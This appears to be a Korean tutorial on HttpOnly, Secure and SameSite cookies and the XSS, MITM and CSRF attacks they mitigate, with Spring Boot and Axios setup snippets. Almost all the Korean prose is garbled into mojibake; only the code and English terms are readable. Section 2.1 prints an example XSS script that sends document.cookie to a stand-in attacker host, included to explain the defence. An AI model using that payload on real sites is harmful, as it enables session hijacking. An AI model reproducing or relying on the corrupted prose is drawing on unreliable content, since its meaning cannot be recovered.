โ
1. ์ฟ ํค(Cookie)๋?
- ์ฟ ํค(Cookie) ๋ ํด๋ผ์ด์ธํธ(๋ธ๋ผ์ฐ์ ) ์ธก์์ ์ ์ฅ๋๋ ์์ ๋ฐ์ดํฐ ์กฐ๊ฐ ์ด๋ค.
- ์ฃผ๋ก ์ธ์
๊ด๋ฆฌ, ์ฌ์ฉ์ ์ธ์ฆ, ๊ฐ์ธํ๋ ์ค์ ์ ์ ์งํ๋ ๋ฐ ์ฌ์ฉ๋๋ค.
๐ก๏ธ 2. ์ฟ ํค ๊ณต๊ฒฉ ๋ฒกํฐ
์ผ๋ฐ์ ์ธ ์ฟ ํค๊ฐ ํ์ทจ๋นํ๋ ์ฃผ์ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ๋ค:
โ ๏ธ 2.1 XSS (Cross-Site Scripting) ๊ณต๊ฒฉ
- ๊ณต๊ฒฉ ๋ฐฉ๋ฒ: ๊ณต๊ฒฉ์๊ฐ ์น ํ์ด์ง์ ์
์ฑ JavaScript ์ฝ๋๋ฅผ ์ฝ์
ํ๋ค.
- ๋ชฉ์ : JavaScript๋ฅผ ํตํด
document.cookie
๋ก ์ฟ ํค๋ฅผ ํ์ทจํ๋ค.
์์:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
- HttpOnly ์ฟ ํค๋?
- JavaScript๋ก ์ ๊ทผํ ์ ์๊ธฐ ๋๋ฌธ์
document.cookie
๋ก ๊ฐ์ ธ์ฌ ์ ์๋ค.
โ
๊ฒฐ๋ก : HttpOnly๊ฐ XSS ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์์ ํฉ๋๋ค.
โ ๏ธ 2.2 ์ค๊ฐ์ ๊ณต๊ฒฉ (Man-in-the-Middle, MITM)
- ๊ณต๊ฒฉ ๋ฐฉ๋ฒ: HTTP๋ก ์ ์ก๋๋ ์ฟ ํค๋ฅผ ๊ณต๊ฒฉ์๊ฐ ๊ฐ๋ก์ฑ๋ค.
- Secure ์ฟ ํค๋?
Secure
์์ฑ์ด ์ค์ ๋ ์ฟ ํค๋ HTTPS๋ฅผ ํตํด์๋ง ์ ์ก๋๋ค.
- HTTP๋ก ์ ์ก๋์ง ์๊ธฐ ๋๋ฌธ์ ๊ฐ๋ก์ฑ ์ ์์ต๋๋ค.
โ
๊ฒฐ๋ก : Secure๊ฐ MITM ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์์ ํฉ๋๋ค.
โ ๏ธ 2.3 CSRF (Cross-Site Request Forgery)
- ๊ณต๊ฒฉ ๋ฐฉ๋ฒ: ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ์ํ์์ ์
์ฑ ์น ์ฌ์ดํธ๊ฐ ์์ฒญ์ ์๋์ผ๋ก ๋ณด๋ธ๋ค.
- SameSite ์ฟ ํค๋?
SameSite=Strict
: ๋ค๋ฅธ ๋๋ฉ์ธ์์๋ ์ฟ ํค๋ฅผ ๋ณด๋ด์ง ์๋๋ค.
SameSite=Lax
: ์ธ๋ถ ๋งํฌ ํด๋ฆญ ์๋ง ์ฟ ํค ์ ์ก.
โ
๊ฒฐ๋ก : SameSite๊ฐ CSRF ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์์ ํ๋ค.
๐ 3. HttpOnly Secure ์ฟ ํค์ ๋ณด์ ์๋ฆฌ
โ
3.1 HttpOnly: JavaScript ์ ๊ทผ ์ฐจ๋จ
- HttpOnly ์์ฑ์ด ์ค์ ๋ ์ฟ ํค๋ JavaScript๋ก ์ ๊ทผํ ์ ์๋ค.
- ๋ธ๋ผ์ฐ์ ๊ฐ
document.cookie
๋ฅผ ํตํด HttpOnly ์ฟ ํค๋ฅผ ๋
ธ์ถํ์ง ์๋๋ค.
์์ (HttpOnly ์ฟ ํค):
Set-Cookie: sessionId=abc123; HttpOnly
JavaScript์์ ์ ๊ทผ ์:
console.log(document.cookie);
โ
ํต์ฌ:
- XSS ๊ณต๊ฒฉ์๊ฐ ์ฟ ํค์ ์ ๊ทผํ ์ ์์.
โ
3.2 Secure: HTTPS๋ก๋ง ์ ์ก
- Secure ์์ฑ์ด ์ค์ ๋ ์ฟ ํค๋ HTTPS๋ฅผ ํตํด์๋ง ์ ์ก๋๋ค.
- HTTP ํต์ ์์๋ ์ฟ ํค๊ฐ ์ ์ก๋์ง ์๋๋ค.
์์ (Secure ์ฟ ํค):
Set-Cookie: sessionId=abc123; Secure
โ
ํต์ฌ:
- ์ค๊ฐ์ ๊ณต๊ฒฉ(MITM)์ด HTTPS๋ฅผ ์ฐํํ์ง ์๋ ์ด์ ํ์ทจ ๋ถ๊ฐ๋ฅ.
โ
3.3 SameSite: CSRF ๋ฐฉ์ด
- SameSite=Strict: ์ฟ ํค๋ ๋์ผ ์ฌ์ดํธ ์์ฒญ์์๋ง ์ ์ก๋๋ค.
- SameSite=Lax: ๋ค๋ฅธ ์ฌ์ดํธ์ ๋งํฌ๋ฅผ ํด๋ฆญํ ๋๋ง ์ฟ ํค๊ฐ ์ ์ก๋๋ค.
์์ (SameSite ์ฟ ํค):
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
โ
ํต์ฌ:
- ๋ค๋ฅธ ์ฌ์ดํธ์์ ์๋์ผ๋ก ์์ฒญ์ด ์คํ๋์ง ์์.
๐ง 4. HttpOnly Secure ์ฟ ํค๊ฐ ์์ ํ ์ด์ ์์ฝ
์์ฑ | ๊ธฐ๋ฅ | ๋ฐฉ์ดํ๋ ๊ณต๊ฒฉ |
---|
HttpOnly | JavaScript ์ ๊ทผ ์ฐจ๋จ | XSS (Cross-Site Scripting) |
Secure | HTTPS๋ฅผ ํตํด์๋ง ์ฟ ํค ์ ์ก | MITM (Man-in-the-Middle) |
SameSite | ์ธ๋ถ ์ฌ์ดํธ์์ ์ฟ ํค ์๋ ์ ์ก ์ฐจ๋จ | CSRF (Cross-Site Request Forgery) |
๐ ๏ธ 5. HttpOnly Secure ์ฟ ํค ์ค์ ๋ฐฉ๋ฒ
โ
5.1 Spring Boot ์์
ResponseCookie jwtCookie = ResponseCookie.from("refreshToken", token)
.httpOnly(true)
.secure(true)
.sameSite("Strict")
.path("/")
.maxAge(Duration.ofDays(7))
.build();
response.addHeader("Set-Cookie", jwtCookie.toString());
โ
5.2 ํด๋ผ์ด์ธํธ ์ค์ (Axios ์์ )
Axios๋ก ์ฟ ํค ์๋ ์ ์ก:
import axios from 'axios';
axios.defaults.withCredentials = true;
axios.post('https://api.example.com/login', { username, password });
๐ฆ 6. HttpOnly Secure ์ฟ ํค๋ ์๋ฒฝํ ๊น?
โ
๋ณด์ ๊ฐ์ :
- XSS ๋ฐฉ์ด: JavaScript๋ก ์ ๊ทผ ๋ถ๊ฐ.
- MITM ๋ฐฉ์ด: HTTPS๋ฅผ ํตํด์๋ง ์ ์ก.
- CSRF ๋ฐฉ์ด: SameSite ์ค์ ์ผ๋ก ์ธ๋ถ ์์ฒญ ์ฐจ๋จ.
โ ๏ธ ํ๊ณ์ :
- ๋ฌผ๋ฆฌ์ ํ์ทจ: ์ฌ์ฉ์์ ๋๋ฐ์ด์ค๊ฐ ํ์ทจ๋๋ฉด ์ฟ ํค๋ฅผ ์ด์ด๋ณผ ์ ์๋ค.
- ๋ธ๋ผ์ฐ์ ์ทจ์ฝ์ : ๋ธ๋ผ์ฐ์ ๋ณด์์ ์ทจ์ฝ์ ์ด ์์ ๊ฒฝ์ฐ ๋
ธ์ถ ๊ฐ๋ฅ.
- ๋ก๊ทธ์์ ๊ด๋ฆฌ: ์๋ฒ์์ ์ฟ ํค๋ฅผ ๊ฐ์ ๋ก ๋ฌดํจํํ ์ ์์.
โ ์ด ํ๊ณ๋ฅผ ๋ณด์ํ๊ธฐ ์ํด Redis๋ฅผ ์ฌ์ฉํ์ฌ Refresh Token์ ์ค์ ๊ด๋ฆฌํ๋ค.
๐ฏ 7. ์ต์ข
๊ฒฐ๋ก
- HttpOnly Secure ์ฟ ํค๋ ํด๋ผ์ด์ธํธ ์ธก ํ ํฐ ์ ์ฅ์ ์ต์ ๋ฐฉ๋ฒ์ด๋ค.
- JavaScript ์ ๊ทผ ์ฐจ๋จ (XSS ๋ฐฉ์ด), HTTPS ํต์ (MITM ๋ฐฉ์ด), CSRF ๋ฐฉ์ด๋ฅผ ์ ๊ณตํ๋ค.
- ์๋ฒฝํ ๋ณด์์ ์ํด:
- HttpOnly Secure ์ฟ ํค๋ก Refresh Token ์ ์ฅ
- Redis๋ก ์ค์ ์ง์ค์ ๊ด๋ฆฌ
๐ 8. ์ถ์ฒ ๋ณด์ ์กฐ์น
- HttpOnly + Secure + SameSite=Strict ์ฟ ํค ์ฌ์ฉ
- Access Token์ ์งง์ ์ ํจ ๊ธฐ๊ฐ ์ค์
- Redis๋ก Refresh Token ์ค์ ๊ด๋ฆฌ ๋ฐ TTL ์ค์
- ๋ชจ๋ํฐ๋ง ๋๊ตฌ๋ก ์ฟ ํค ๋ฐ Redis ์ํ ์ ๊ฒ
์ด์ HttpOnly Secure ์ฟ ํค๊ฐ ์ ์์ ํ์ง ๋ช
ํํด์ก๋์? ๐
๋ ๊น์ด ์๊ณ ์ถ์ ๋ถ๋ถ์ด๋ ์ถ๊ฐ ์ง๋ฌธ์ด ์๋ค๋ฉด ๋ง์ํด์ฃผ์ธ์! ๐๐